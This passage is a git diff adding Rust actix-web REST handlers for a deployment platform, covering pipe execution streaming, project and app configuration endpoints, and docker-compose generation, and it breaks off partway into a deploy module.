b/stacker/stacker/src/routes/pipe/stream.rs new file mode 100644 index 0000000..40b1710 --- /dev/null +++ b/stacker/stacker/src/routes/pipe/stream.rs @@ -0,0 +1,70 @@ +use crate::db; +use crate::helpers::JsonResponse; +use crate::models::User; +use actix_web::{get, web, HttpResponse, Result}; +use sqlx::PgPool; +use std::sync::Arc; + +/// SSE (Server-Sent Events) endpoint for real-time pipe execution streaming. +/// +/// Returns a stream of execution events including DAG step progress, +/// completion notifications, and error reports. +#[get("/instances/{instance_id}/stream")] +pub async fn execution_stream_handler( + pg_pool: web::Data, + user: web::ReqData>, + path: web::Path, +) -> Result { + let instance_id = path.into_inner(); + let instance_uuid = uuid::Uuid::parse_str(&instance_id).map_err(|_| { + JsonResponse::::bad_request(String::from("Invalid instance ID format")) + })?; + + // Verify instance exists and belongs to user + let instance = db::pipe::get_instance(pg_pool.get_ref(), &instance_uuid) + .await + .map_err(|err| JsonResponse::::internal_server_error(err))?; + + let instance = instance.ok_or_else(|| { + JsonResponse::::not_found(String::from("Pipe instance not found")) + })?; + + if instance.created_by != user.id { + return Err(JsonResponse::::forbidden(String::from( + "Access denied: not your pipe instance", + ))); + } + + // Fetch recent executions for initial state + let recent_executions = db::pipe::list_executions(pg_pool.get_ref(), &instance_uuid, 10, 0) + .await + .unwrap_or_default(); + + // Build SSE response body + let mut body = String::new(); + + // Connection event + body.push_str("event: connected\n"); + body.push_str(&format!( + "data: {{\"instance_id\":\"{}\",\"status\":\"{}\"}}\n\n", + instance_id, instance.status + )); + + // Send recent execution history + for exec in &recent_executions { + body.push_str("event: execution\n"); + body.push_str(&format!( + "data: {{\"execution_id\":\"{}\",\"status\":\"{}\",\"started_at\":\"{}\"}}\n\n", + exec.id, exec.status, exec.started_at + )); + } + + // Heartbeat to keep connection alive + body.push_str(": heartbeat\n\n"); + + Ok(HttpResponse::Ok() + .content_type("text/event-stream") + .insert_header(("Cache-Control", "no-cache")) + .insert_header(("Connection", "keep-alive")) + .body(body)) +} diff --git a/stacker/stacker/src/routes/pipe/update.rs b/stacker/stacker/src/routes/pipe/update.rs new file mode 100644 index 0000000..f9efd35 --- /dev/null +++ b/stacker/stacker/src/routes/pipe/update.rs @@ -0,0 +1,57 @@ +use crate::db; +use crate::helpers::JsonResponse; +use crate::models::User; +use actix_web::{put, web, Responder, Result}; +use serde::Deserialize; +use sqlx::PgPool; +use std::sync::Arc; + +#[derive(Debug, Deserialize)] +pub struct UpdatePipeStatusRequest { + pub status: String, +} + +const VALID_STATUSES: &[&str] = &["draft", "active", "paused", "error"]; + +#[tracing::instrument(name = "Update pipe instance status", skip_all)] +#[put("/instances/{instance_id}/status")] +pub async fn update_instance_status_handler( + user: web::ReqData>, + path: web::Path, + body: web::Json, + pg_pool: web::Data, +) -> Result { + let instance_id = path.into_inner(); + + if !VALID_STATUSES.contains(&body.status.as_str()) { + return Err(JsonResponse::<()>::build() + .bad_request("Invalid status. Must be one of: draft, active, paused, error")); + } + + let instance = db::pipe::get_instance(pg_pool.get_ref(), &instance_id) + .await + .map_err(|err| { + tracing::error!("Failed to fetch pipe instance: {}", err); + JsonResponse::<()>::build().internal_server_error(err) + })?; + + match &instance { + Some(i) => { + super::verify_pipe_owner(pg_pool.get_ref(), i, &user.id).await?; + } + None => { + return Err(JsonResponse::not_found("Pipe instance not found")); + } + } + + let updated = db::pipe::update_instance_status(pg_pool.get_ref(), &instance_id, &body.status) + .await + .map_err(|err| { + tracing::error!("Failed to update pipe instance status: {}", err); + JsonResponse::<()>::build().internal_server_error(err) + })?; + + Ok(JsonResponse::build() + .set_item(Some(updated)) + .ok("Pipe instance status updated successfully")) +} diff --git a/stacker/stacker/src/routes/project/add.rs b/stacker/stacker/src/routes/project/add.rs new file mode 100644 index 0000000..53474c9 --- /dev/null +++ b/stacker/stacker/src/routes/project/add.rs @@ -0,0 +1,50 @@ +use crate::db; +use crate::forms::project::ProjectForm; +use crate::helpers::JsonResponse; +use crate::models; +use crate::project_app; +use actix_web::{post, web, web::Data, Responder, Result}; +use serde_json::Value; +use serde_valid::Validate; +use sqlx::PgPool; +use std::sync::Arc; + +#[tracing::instrument(name = "Add project.", skip_all)] +#[post("")] +pub async fn item( + web::Json(request_json): web::Json, + user: web::ReqData>, + pg_pool: Data, +) -> Result { + // @todo ACL + let form: ProjectForm = serde_json::from_value(request_json.clone()) + .map_err(|err| JsonResponse::bad_request(err.to_string()))?; + if !form.validate().is_ok() { + let errors = form.validate().unwrap_err(); + return Err(JsonResponse::bad_request(errors.to_string())); + } + + let project_name = form.custom.custom_stack_code.clone(); + let metadata: Value = serde_json::to_value::(form.clone()) + .or(serde_json::to_value::(ProjectForm::default())) + .unwrap(); + + let project = models::Project::new(user.id.clone(), project_name, metadata, request_json); + + let project = db::project::insert(pg_pool.get_ref(), project) + .await + .map_err(|_| JsonResponse::internal_server_error("Internal Server Error"))?; + + project_app::sync_project_level_apps_from_form(pg_pool.get_ref(), project.id, &form) + .await + .map_err(|err| { + tracing::error!( + "Failed to sync project-level apps for project {} after insert: {}", + project.id, + err + ); + JsonResponse::internal_server_error("Internal Server Error") + })?; + + Ok(JsonResponse::build().set_item(project).ok("Ok")) +} diff --git a/stacker/stacker/src/routes/project/app.rs b/stacker/stacker/src/routes/project/app.rs new file mode 100644 index 0000000..a9ecc91 --- /dev/null +++ b/stacker/stacker/src/routes/project/app.rs @@ -0,0 +1,748 @@ +//! REST API routes for app configuration management. +//! +//! Endpoints for managing app configurations within projects: +//! - POST /project/{project_id}/apps - Create or update an app in a project +//! - GET /project/{project_id}/apps - List all apps in a project +//! - GET /project/{project_id}/apps/{code} - Get a specific app +//! - DELETE /project/{project_id}/apps/{code} - Delete a specific app +//! - GET /project/{project_id}/apps/{code}/config - Get app configuration +//! - PUT /project/{project_id}/apps/{code}/config - Update app configuration +//! - GET /project/{project_id}/apps/{code}/env - Get environment variables +//! - PUT /project/{project_id}/apps/{code}/env - Update environment variables +//! - DELETE /project/{project_id}/apps/{code}/env/{name} - Delete environment variable +//! - PUT /project/{project_id}/apps/{code}/ports - Update port mappings +//! - PUT /project/{project_id}/apps/{code}/domain - Update domain settings + +use crate::db; +use crate::helpers::JsonResponse; +use crate::models::{self, Project}; +use crate::services::{ + runtime_env_contract_response, ProjectAppService, RuntimeEnvContractResponse, +}; +use actix_web::{delete, get, post, put, web, Responder, Result}; +use serde::{Deserialize, Serialize}; +use serde_json::{json, Value}; +use sqlx::PgPool; +use std::collections::HashSet; +use std::sync::Arc; + +use crate::project_app::hydration::{ + hydrate_project_app, hydrate_single_app, redact_app_environment, HydratedProjectApp, +}; + +async fn hydrate_apps_with_metadata( + pool: &PgPool, + project: &Project, + apps: Vec, +) -> Result, actix_web::Error> { + let mut hydrated = Vec::with_capacity(apps.len()); + for app in apps { + hydrated.push(hydrate_project_app(pool, project, app).await?); + } + Ok(hydrated) +} + +async fn ensure_no_service_secret_key_conflicts( + pool: &PgPool, + user_id: &str, + project_id: i32, + app_code: &str, + candidate_keys: &[String], +) -> Result<()> { + if candidate_keys.is_empty() { + return Ok(()); + } + + let service_secrets = + db::remote_secret::list_service_secrets(pool, user_id, project_id, app_code) + .await + .map_err(JsonResponse::internal_server_error)?; + let secret_names: HashSet = service_secrets + .into_iter() + .map(|secret| secret.name) + .collect(); + + if let Some(conflict) = candidate_keys + .iter() + .find(|key| secret_names.contains(key.as_str())) + { + return Err(JsonResponse::::build().conflict(format!( + "Environment variable '{}' is managed as a remote service secret. Use 'stacker secrets set {} --scope service --project {} --service {}' instead.", + conflict, conflict, project_id, app_code + ))); + } + + Ok(()) +} + +fn environment_keys(env: &Value) -> Vec { + match env { + Value::Object(map) => map.keys().cloned().collect(), + Value::Array(items) => items + .iter() + .filter_map(|item| { + item.as_str() + .and_then(|pair| pair.split_once('=')) + .map(|(key, _)| key.to_string()) + }) + .collect(), + _ => Vec::new(), + } +} + +/// Response for app configuration +#[derive(Debug, Serialize)] +pub struct AppConfigResponse { + pub project_id: i32, + pub app_code: String, + pub environment: Value, + pub runtime_env_contract: RuntimeEnvContractResponse, + pub ports: Value, + pub volumes: Value, + pub domain: Option, + pub ssl_enabled: bool, + pub resources: Value, + pub restart_policy: String, +} + +/// Request to update environment variables +#[derive(Debug, Deserialize)] +pub struct UpdateEnvRequest { + pub variables: Value, // JSON object of key-value pairs +} + +/// Request to update a single environment variable +#[derive(Debug, Deserialize)] +pub struct SetEnvVarRequest { + pub name: String, + pub value: String, +} + +/// Request to update port mappings +#[derive(Debug, Deserialize)] +pub struct UpdatePortsRequest { + pub ports: Vec, +} + +#[derive(Debug, Deserialize, Serialize)] +pub struct PortMapping { + pub host: u16, + pub container: u16, + #[serde(default = "default_protocol")] + pub protocol: String, +} + +fn default_protocol() -> String { + "tcp".to_string() +} + +/// Request to update domain settings +#[derive(Debug, Deserialize)] +pub struct UpdateDomainRequest { + pub domain: Option, + #[serde(default)] + pub ssl_enabled: bool, +} + +#[derive(Debug, Deserialize)] +pub struct DeleteAppQuery { + pub deployment_hash: Option, +} + +/// Request to create or update an app in a project +#[derive(Debug, Deserialize)] +pub struct CreateAppRequest { + #[serde(alias = "app_code")] + pub code: String, + #[serde(default)] + pub name: Option, + pub image: String, + #[serde(default, alias = "environment")] + pub env: Option, + #[serde(default)] + pub ports: Option, + #[serde(default)] + pub volumes: Option, + #[serde(default)] + pub config_files: Option, + #[serde(default)] + pub domain: Option, + #[serde(default)] + pub ssl_enabled: Option, + #[serde(default)] + pub resources: Option, + #[serde(default)] + pub restart_policy: Option, + #[serde(default)] + pub command: Option, + #[serde(default)] + pub entrypoint: Option, + #[serde(default)] + pub networks: Option, + #[serde(default)] + pub depends_on: Option, + #[serde(default)] + pub healthcheck: Option, + #[serde(default)] + pub labels: Option, + #[serde(default)] + pub enabled: Option, + #[serde(default)] + pub deploy_order: Option, + #[serde(default)] + pub deployment_hash: Option, +} + +/// List all apps in a project +#[tracing::instrument(name = "List project apps", skip_all)] +#[get("/{project_id}/apps")] +pub async fn list_apps( + user: web::ReqData>, + path: web::Path<(i32,)>, + pg_pool: web::Data, +) -> Result { + let project_id = path.0; + + // Verify project ownership + let project = db::project::fetch(pg_pool.get_ref(), project_id) + .await + .map_err(|e| JsonResponse::internal_server_error(e))? + .ok_or_else(|| JsonResponse::not_found("Project not found"))?; + + if project.user_id != user.id { + return Err(JsonResponse::not_found("Project not found")); + } + + // Fetch apps for project + let apps = db::project_app::fetch_by_project(pg_pool.get_ref(), project_id) + .await + .map_err(|e| JsonResponse::internal_server_error(e))?; + + // Hydrate additional config metadata via helper + let hydrated = hydrate_apps_with_metadata(pg_pool.get_ref(), &project, apps).await?; + + Ok(JsonResponse::build().set_list(hydrated).ok("OK")) +} + +/// Create or update an app in a project +#[tracing::instrument(name = "Create project app", skip_all)] +#[post("/{project_id}/apps")] +pub async fn create_app( + user: web::ReqData>, + path: web::Path<(i32,)>, + payload: web::Json, + pg_pool: web::Data, +) -> Result { + let project_id = path.0; + + // Verify project ownership + let project = db::project::fetch(pg_pool.get_ref(), project_id) + .await + .map_err(|e| JsonResponse::internal_server_error(e))? + .ok_or_else(|| JsonResponse::not_found("Project not found"))?; + + if project.user_id != user.id { + return Err(JsonResponse::not_found("Project not found")); + } + + let code = payload.code.trim(); + if code.is_empty() { + return Err(JsonResponse::<()>::build().bad_request("app code is required")); + } + + let image = payload.image.trim(); + if image.is_empty() { + return Err(JsonResponse::<()>::build().bad_request("image is required")); + } + + if let Some(env) = payload.env.as_ref() { + let keys = environment_keys(env); + ensure_no_service_secret_key_conflicts( + pg_pool.get_ref(), + &project.user_id, + project_id, + code, + &keys, + ) + .await?; + } + + let mut app = models::ProjectApp::default(); + app.project_id = project_id; + app.code = code.to_string(); + app.name = payload.name.clone().unwrap_or_else(|| code.to_string()); + app.image = image.to_string(); + app.environment = payload.env.clone(); + app.ports = payload.ports.clone(); + app.volumes = payload.volumes.clone(); + app.domain = payload.domain.clone(); + app.ssl_enabled = payload.ssl_enabled; + app.resources = payload.resources.clone(); + app.restart_policy = payload.restart_policy.clone(); + app.command = payload.command.clone(); + app.entrypoint = payload.entrypoint.clone(); + app.networks = payload.networks.clone(); + app.depends_on = payload.depends_on.clone(); + app.healthcheck = payload.healthcheck.clone(); + app.labels = payload.labels.clone(); + app.enabled = payload.enabled.or(Some(true)); + app.deploy_order = payload.deploy_order; + app.config_files = payload.config_files.clone(); + + if let Some(config_files) = payload.config_files.clone() { + let mut labels = app.labels.clone().unwrap_or(json!({})); + if let Some(obj) = labels.as_object_mut() { + obj.insert("config_files".to_string(), config_files); + } + app.labels = Some(labels); + } + + let app_service = if let Some(deployment_hash) = payload.deployment_hash.as_deref() { + let service = ProjectAppService::new(Arc::new(pg_pool.get_ref().clone())) + .map_err(|e| JsonResponse::<()>::build().internal_server_error(e))?; + let created = service + .upsert(&app, &project, deployment_hash) + .await + .map_err(|e| JsonResponse::<()>::build().internal_server_error(e.to_string()))?; + return Ok(JsonResponse::build().set_item(Some(created)).ok("OK")); + } else { + ProjectAppService::new_without_sync(Arc::new(pg_pool.get_ref().clone())) + .map_err(|e| JsonResponse::<()>::build().internal_server_error(e))? + }; + + let created = app_service + .upsert(&app, &project, "") + .await + .map_err(|e| JsonResponse::<()>::build().internal_server_error(e.to_string()))?; + + Ok(JsonResponse::build().set_item(Some(created)).ok("OK")) +} + +/// Get a specific app by code +#[tracing::instrument(name = "Get project app", skip_all)] +#[get("/{project_id}/apps/{code}")] +pub async fn get_app( + user: web::ReqData>, + path: web::Path<(i32, String)>, + pg_pool: web::Data, +) -> Result { + let (project_id, code) = path.into_inner(); + + // Verify project ownership + let project = db::project::fetch(pg_pool.get_ref(), project_id) + .await + .map_err(|e| JsonResponse::internal_server_error(e))? + .ok_or_else(|| JsonResponse::not_found("Project not found"))?; + + if project.user_id != user.id { + return Err(JsonResponse::not_found("Project not found")); + } + + // Fetch app + let app = db::project_app::fetch_by_project_and_code(pg_pool.get_ref(), project_id, &code) + .await + .map_err(|e| JsonResponse::internal_server_error(e))? + .ok_or_else(|| JsonResponse::not_found("App not found"))?; + + let hydrated = hydrate_single_app(pg_pool.get_ref(), &project, app).await?; + + Ok(JsonResponse::build().set_item(Some(hydrated)).ok("OK")) +} + +/// Delete a specific app by code +#[tracing::instrument(name = "Delete project app", skip_all)] +#[delete("/{project_id}/apps/{code}")] +pub async fn delete_app( + user: web::ReqData>, + path: web::Path<(i32, String)>, + query: web::Query, + pg_pool: web::Data, +) -> Result { + let (project_id, code) = path.into_inner(); + + let project = db::project::fetch(pg_pool.get_ref(), project_id) + .await + .map_err(|e| JsonResponse::internal_server_error(e))? + .ok_or_else(|| JsonResponse::not_found("Project not found"))?; + + if project.user_id != user.id { + return Err(JsonResponse::not_found("Project not found")); + } + + let app = db::project_app::fetch_by_project_and_code(pg_pool.get_ref(), project_id, &code) + .await + .map_err(|e| JsonResponse::internal_server_error(e))? + .ok_or_else(|| JsonResponse::not_found("App not found"))?; + + let app_service = if let Some(deployment_hash) = query.deployment_hash.as_deref() { + let service = ProjectAppService::new(Arc::new(pg_pool.get_ref().clone())) + .map_err(|e| JsonResponse::<()>::build().internal_server_error(e))?; + (service, deployment_hash.to_string()) + } else { + let service = ProjectAppService::new_without_sync(Arc::new(pg_pool.get_ref().clone())) + .map_err(|e| JsonResponse::<()>::build().internal_server_error(e))?; + (service, String::new()) + }; + + let deleted = app_service + .0 + .delete(app.id, &app_service.1) + .await + .map_err(|e| JsonResponse::<()>::build().internal_server_error(e.to_string()))?; + + tracing::info!( + user_id = %user.id, + project_id = project_id, + app_code = %code, + deleted = deleted, + "Deleted project app" + ); + + Ok(JsonResponse::build() + .set_item(Some(json!({ + "success": deleted, + "message": if deleted { "App removed from project" } else { "App was not removed" } + }))) + .ok("OK")) +} + +/// Get app configuration (env vars, ports, domain, etc.) +#[tracing::instrument(name = "Get app config", skip_all)] +#[get("/{project_id}/apps/{code}/config")] +pub async fn get_app_config( + user: web::ReqData>, + path: web::Path<(i32, String)>, + pg_pool: web::Data, +) -> Result { + let (project_id, code) = path.into_inner(); + + // Verify project ownership + let project = db::project::fetch(pg_pool.get_ref(), project_id) + .await + .map_err(|e| JsonResponse::internal_server_error(e))? + .ok_or_else(|| JsonResponse::not_found("Project not found"))?; + + if project.user_id != user.id { + return Err(JsonResponse::not_found("Project not found")); + } + + // Fetch app + let app = db::project_app::fetch_by_project_and_code(pg_pool.get_ref(), project_id, &code) + .await + .map_err(|e| JsonResponse::internal_server_error(e))? + .ok_or_else(|| JsonResponse::not_found("App not found"))?; + + // Build response with redacted environment variables + let env = redact_app_environment( + pg_pool.get_ref(), + &project.user_id, + project_id, + &code, + app.environment.clone().unwrap_or(json!({})), + ) + .await + .map_err(JsonResponse::internal_server_error)?; + + let config = AppConfigResponse { + project_id, + app_code: code, + environment: env, + runtime_env_contract: runtime_env_contract_response(), + ports: app.ports.clone().unwrap_or(json!([])), + volumes: app.volumes.clone().unwrap_or(json!([])), + domain: app.domain.clone(), + ssl_enabled: app.ssl_enabled.unwrap_or(false), + resources: app.resources.clone().unwrap_or(json!({})), + restart_policy: app + .restart_policy + .clone() + .unwrap_or("unless-stopped".to_string()), + }; + + Ok(JsonResponse::build().set_item(Some(config)).ok("OK")) +} + +/// Get environment variables for an app +#[tracing::instrument(name = "Get app env vars", skip_all)] +#[get("/{project_id}/apps/{code}/env")] +pub async fn get_env_vars( + user: web::ReqData>, + path: web::Path<(i32, String)>, + pg_pool: web::Data, +) -> Result { + let (project_id, code) = path.into_inner(); + + // Verify project ownership + let project = db::project::fetch(pg_pool.get_ref(), project_id) + .await + .map_err(|e| JsonResponse::internal_server_error(e))? + .ok_or_else(|| JsonResponse::not_found("Project not found"))?; + + if project.user_id != user.id { + return Err(JsonResponse::not_found("Project not found")); + } + + // Fetch app + let app = db::project_app::fetch_by_project_and_code(pg_pool.get_ref(), project_id, &code) + .await + .map_err(|e| JsonResponse::internal_server_error(e))? + .ok_or_else(|| JsonResponse::not_found("App not found"))?; + + // Redact sensitive values + let env = redact_app_environment( + pg_pool.get_ref(), + &project.user_id, + project_id, + &code, + app.environment.clone().unwrap_or(json!({})), + ) + .await + .map_err(JsonResponse::internal_server_error)?; + + let response = json!({ + "project_id": project_id, + "app_code": code, + "variables": env, + "runtime_env_contract": runtime_env_contract_response(), + "count": env.as_object().map(|o| o.len()).unwrap_or(0), + "note": "Sensitive values (passwords, tokens, keys) are redacted" + }); + + Ok(JsonResponse::build().set_item(Some(response)).ok("OK")) +} + +/// Update environment variables for an app +#[tracing::instrument(name = "Update app env vars", skip_all)] +#[put("/{project_id}/apps/{code}/env")] +pub async fn update_env_vars( + user: web::ReqData>, + path: web::Path<(i32, String)>, + body: web::Json, + pg_pool: web::Data, +) -> Result { + let (project_id, code) = path.into_inner(); + + // Verify project ownership + let project = db::project::fetch(pg_pool.get_ref(), project_id) + .await + .map_err(|e| JsonResponse::internal_server_error(e))? + .ok_or_else(|| JsonResponse::not_found("Project not found"))?; + + if project.user_id != user.id { + return Err(JsonResponse::not_found("Project not found")); + } + + // Fetch and update app + let mut app = db::project_app::fetch_by_project_and_code(pg_pool.get_ref(), project_id, &code) + .await + .map_err(|e| JsonResponse::internal_server_error(e))? + .ok_or_else(|| JsonResponse::not_found("App not found"))?; + + // Merge new variables with existing + let keys = environment_keys(&body.variables); + ensure_no_service_secret_key_conflicts( + pg_pool.get_ref(), + &project.user_id, + project_id, + &code, + &keys, + ) + .await?; + + let mut env = app.environment.clone().unwrap_or(json!({})); + if let (Some(existing), Some(new)) = (env.as_object_mut(), body.variables.as_object()) { + for (key, value) in new { + existing.insert(key.clone(), value.clone()); + } + } + app.environment = Some(env); + + // Save + let updated = db::project_app::update(pg_pool.get_ref(), &app) + .await + .map_err(|e| JsonResponse::internal_server_error(e))?; + + tracing::info!( + user_id = %user.id, + project_id = project_id, + app_code = %code, + "Updated environment variables" + ); + + Ok(JsonResponse::build() + .set_item(Some(json!({ + "success": true, + "message": "Environment variables updated. Changes will take effect on next restart.", + "updated_at": updated.updated_at + }))) + .ok("OK")) +} + +/// Delete a specific environment variable +#[tracing::instrument(name = "Delete app env var", skip_all)] +#[delete("/{project_id}/apps/{code}/env/{name}")] +pub async fn delete_env_var( + user: web::ReqData>, + path: web::Path<(i32, String, String)>, + pg_pool: web::Data, +) -> Result { + let (project_id, code, var_name) = path.into_inner(); + + // Verify project ownership + let project = db::project::fetch(pg_pool.get_ref(), project_id) + .await + .map_err(|e| JsonResponse::internal_server_error(e))? + .ok_or_else(|| JsonResponse::not_found("Project not found"))?; + + if project.user_id != user.id { + return Err(JsonResponse::not_found("Project not found")); + } + + // Fetch and update app + let mut app = db::project_app::fetch_by_project_and_code(pg_pool.get_ref(), project_id, &code) + .await + .map_err(|e| JsonResponse::internal_server_error(e))? + .ok_or_else(|| JsonResponse::not_found("App not found"))?; + + // Remove the variable + let mut env = app.environment.clone().unwrap_or(json!({})); + let existed = if let Some(obj) = env.as_object_mut() { + obj.remove(&var_name).is_some() + } else { + false + }; + app.environment = Some(env); + + if !existed { + return Err(JsonResponse::not_found("Environment variable not found")); + } + + // Save + db::project_app::update(pg_pool.get_ref(), &app) + .await + .map_err(|e| JsonResponse::internal_server_error(e))?; + + tracing::info!( + user_id = %user.id, + project_id = project_id, + app_code = %code, + var_name = %var_name, + "Deleted environment variable" + ); + + Ok(JsonResponse::build() + .set_item(Some(json!({ + "success": true, + "message": format!("Environment variable '{}' deleted", var_name) + }))) + .ok("OK")) +} + +/// Update port mappings for an app +#[tracing::instrument(name = "Update app ports", skip_all)] +#[put("/{project_id}/apps/{code}/ports")] +pub async fn update_ports( + user: web::ReqData>, + path: web::Path<(i32, String)>, + body: web::Json, + pg_pool: web::Data, +) -> Result { + let (project_id, code) = path.into_inner(); + + // Verify project ownership + let project = db::project::fetch(pg_pool.get_ref(), project_id) + .await + .map_err(|e| JsonResponse::internal_server_error(e))? + .ok_or_else(|| JsonResponse::not_found("Project not found"))?; + + if project.user_id != user.id { + return Err(JsonResponse::not_found("Project not found")); + } + + // Fetch and update app + let mut app = db::project_app::fetch_by_project_and_code(pg_pool.get_ref(), project_id, &code) + .await + .map_err(|e| JsonResponse::internal_server_error(e))? + .ok_or_else(|| JsonResponse::not_found("App not found"))?; + + // Update ports + app.ports = Some(serde_json::to_value(&body.ports).unwrap_or(json!([]))); + + // Save + let updated = db::project_app::update(pg_pool.get_ref(), &app) + .await + .map_err(|e| JsonResponse::internal_server_error(e))?; + + tracing::info!( + user_id = %user.id, + project_id = project_id, + app_code = %code, + port_count = body.ports.len(), + "Updated port mappings" + ); + + Ok(JsonResponse::build() + .set_item(Some(json!({ + "success": true, + "message": "Port mappings updated. Changes will take effect on next restart.", + "ports": updated.ports, + "updated_at": updated.updated_at + }))) + .ok("OK")) +} + +/// Update domain and SSL settings for an app +#[tracing::instrument(name = "Update app domain", skip_all)] +#[put("/{project_id}/apps/{code}/domain")] +pub async fn update_domain( + user: web::ReqData>, + path: web::Path<(i32, String)>, + body: web::Json, + pg_pool: web::Data, +) -> Result { + let (project_id, code) = path.into_inner(); + + // Verify project ownership + let project = db::project::fetch(pg_pool.get_ref(), project_id) + .await + .map_err(|e| JsonResponse::internal_server_error(e))? + .ok_or_else(|| JsonResponse::not_found("Project not found"))?; + + if project.user_id != user.id { + return Err(JsonResponse::not_found("Project not found")); + } + + // Fetch and update app + let mut app = db::project_app::fetch_by_project_and_code(pg_pool.get_ref(), project_id, &code) + .await + .map_err(|e| JsonResponse::internal_server_error(e))? + .ok_or_else(|| JsonResponse::not_found("App not found"))?; + + // Update domain settings + app.domain = body.domain.clone(); + app.ssl_enabled = Some(body.ssl_enabled); + + // Save + let updated = db::project_app::update(pg_pool.get_ref(), &app) + .await + .map_err(|e| JsonResponse::internal_server_error(e))?; + + tracing::info!( + user_id = %user.id, + project_id = project_id, + app_code = %code, + domain = ?body.domain, + ssl_enabled = body.ssl_enabled, + "Updated domain settings" + ); + + Ok(JsonResponse::build() + .set_item(Some(json!({ + "success": true, + "message": "Domain settings updated. Changes will take effect on next restart.", + "domain": updated.domain, + "ssl_enabled": updated.ssl_enabled, + "updated_at": updated.updated_at + }))) + .ok("OK")) +} diff --git a/stacker/stacker/src/routes/project/compose.rs b/stacker/stacker/src/routes/project/compose.rs new file mode 100644 index 0000000..80cf636 --- /dev/null +++ b/stacker/stacker/src/routes/project/compose.rs @@ -0,0 +1,55 @@ +use crate::db; +use crate::helpers::project::builder::DcBuilder; +use crate::helpers::JsonResponse; +use crate::models; +use actix_web::{get, web, web::Data, Responder, Result}; +use sqlx::PgPool; +use std::sync::Arc; + +#[tracing::instrument(name = "User's generate docker-compose.", skip_all)] +#[get("/{id}/compose")] +pub async fn add( + user: web::ReqData>, + path: web::Path<(i32,)>, + pg_pool: Data, +) -> Result { + let id = path.0; + let project = db::project::fetch(pg_pool.get_ref(), id) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err)) + .and_then(|project| match project { + Some(project) if project.user_id != user.id => { + Err(JsonResponse::::build().not_found("not found")) + } + Some(project) => Ok(project), + None => Err(JsonResponse::::build().not_found("not found")), + })?; + + DcBuilder::new(project) + .build() + .map_err(|err| JsonResponse::::build().bad_request(err)) + .map(|fc| JsonResponse::build().set_id(id).set_item(fc).ok("Success")) +} + +#[tracing::instrument(name = "Generate docker-compose. Admin", skip_all)] +#[get("/{id}/compose")] +pub async fn admin( + _user: web::ReqData>, + path: web::Path<(i32,)>, + pg_pool: Data, +) -> Result { + // Admin function for generating compose file for specified user + let id = path.0; + let project = db::project::fetch(pg_pool.get_ref(), id) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err)) + .and_then(|project| match project { + Some(project) => Ok(project), + None => Err(JsonResponse::::build().not_found("not found")), + })?; + + DcBuilder::new(project) + .build() + .map_err(|err| JsonResponse::::build().bad_request(err)) + .map(|fc| JsonResponse::build().set_id(id).set_item(fc).ok("Success")) +} diff --git a/stacker/stacker/src/routes/project/delete.rs b/stacker/stacker/src/routes/project/delete.rs new file mode 100644 index 0000000..78cc403 --- /dev/null +++ b/stacker/stacker/src/routes/project/delete.rs @@ -0,0 +1,37 @@ +use crate::db; +use crate::helpers::JsonResponse; +use crate::models; +use crate::models::Project; +use actix_web::{delete, web, Responder, Result}; +use sqlx::PgPool; +use std::sync::Arc; + +#[tracing::instrument(name = "Delete project of a user.", skip_all)] +#[delete("/{id}")] +pub async fn item( + user: web::ReqData>, + path: web::Path<(i32,)>, + pg_pool: web::Data, +) -> Result { + // Get project apps of logged user only + let (id,) = path.into_inner(); + + let project = db::project::fetch(pg_pool.get_ref(), id) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err)) + .and_then(|project| match project { + Some(project) if project.user_id != user.id => { + Err(JsonResponse::::build().not_found("")) + } + Some(project) => Ok(project), + None => Err(JsonResponse::::build().not_found("")), + })?; + + db::project::delete(pg_pool.get_ref(), project.id, &user.id) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err)) + .and_then(|result| match result { + true => Ok(JsonResponse::::build().ok("Deleted")), + _ => Err(JsonResponse::::build().bad_request("Could not delete")), + }) +} diff --git a/stacker/stacker/src/routes/project/deploy.rs b/stacker/stacker/src/routes/project/deploy.rs new file mode 100644 index 0000000..adc09a5 --- /dev/null +++ b/stacker/stacker/src/routes/project/deploy.rs @@ -0,0 +1,2496 @@ +use crate::configuration::Settings; +use crate::connectors::{ + app_service_catalog, install_service::InstallServiceConnector, + user_service::UserServiceConnector, +}; +use crate::db; +use crate::forms; +use crate::helpers::project::builder::DcBuilder; +use crate::helpers::{JsonResponse, MqManager, VaultClient}; +use crate::models; +use crate::services; +use actix_web::{post, web, web::Data, Responder, Result}; +use serde::Deserialize; +use serde_valid::Validate; +use sqlx::PgPool; +use std::collections::HashSet; +use std::path::Path; +use std::sync::Arc; +use std::time::Duration; +use uuid::Uuid; + +const MANAGED_NGINX_PROXY_MANAGER_FEATURE: &str = "nginx_proxy_manager"; +const STATUS_PANEL_FEATURE: &str = "statuspanel"; +const STATUS_PANEL_CONNECTION_MODE: &str = "status_panel"; +const STATUS_PANEL_NPM_CREDENTIALS_SECRET: &str = "npm_credentials"; +const DEFAULT_STATUS_PANEL_NPM_HOST: &str = "http://nginx-proxy-manager:81"; +const DEFAULT_STATUS_PANEL_NPM_EMAIL: &str = "admin@example.com"; +const DEFAULT_STATUS_PANEL_NPM_PASSWORD: &str = "changeme"; +const DEFAULT_STATUS_PANEL_NPM_AUTH_MODE: &str = "email_password"; + +fn parse_template_requirements( + template: &models::StackTemplate, +) -> Result { + serde_json::from_value(template.infrastructure_requirements.clone()).map_err(|err| { + tracing::error!( + "Failed to parse infrastructure requirements for template {}: {}", + template.id, + err + ); + "Template infrastructure requirements are invalid".to_string() + }) +} + +fn validate_template_target_requirements( + template: &models::StackTemplate, + requirements: &models::InfrastructureRequirements, + provider: &str, + os: Option<&str>, +) -> Result<(), String> { + let mut mismatches = Vec::new(); + + if !requirements.supported_clouds.is_empty() { + let supported: HashSet = requirements + .supported_clouds + .iter() + .map(|cloud| cloud.to_ascii_lowercase()) + .collect(); + if !supported.contains(&provider.to_ascii_lowercase()) { + mismatches.push(format!( + "cloud provider '{}' is not supported (allowed: {})", + provider, + requirements.supported_clouds.join(", ") + )); + } + } + + if !requirements.supported_os.is_empty() { + match os { + Some(target_os) + if requirements + .supported_os + .iter() + .any(|supported_os| supported_os.eq_ignore_ascii_case(target_os)) => {} + Some(target_os) => mismatches.push(format!( + "operating system '{}' is not supported (allowed: {})", + target_os, + requirements.supported_os.join(", ") + )), + None => mismatches.push(format!( + "operating system is required (allowed: {})", + requirements.supported_os.join(", ") + )), + } + } + + if mismatches.is_empty() { + Ok(()) + } else 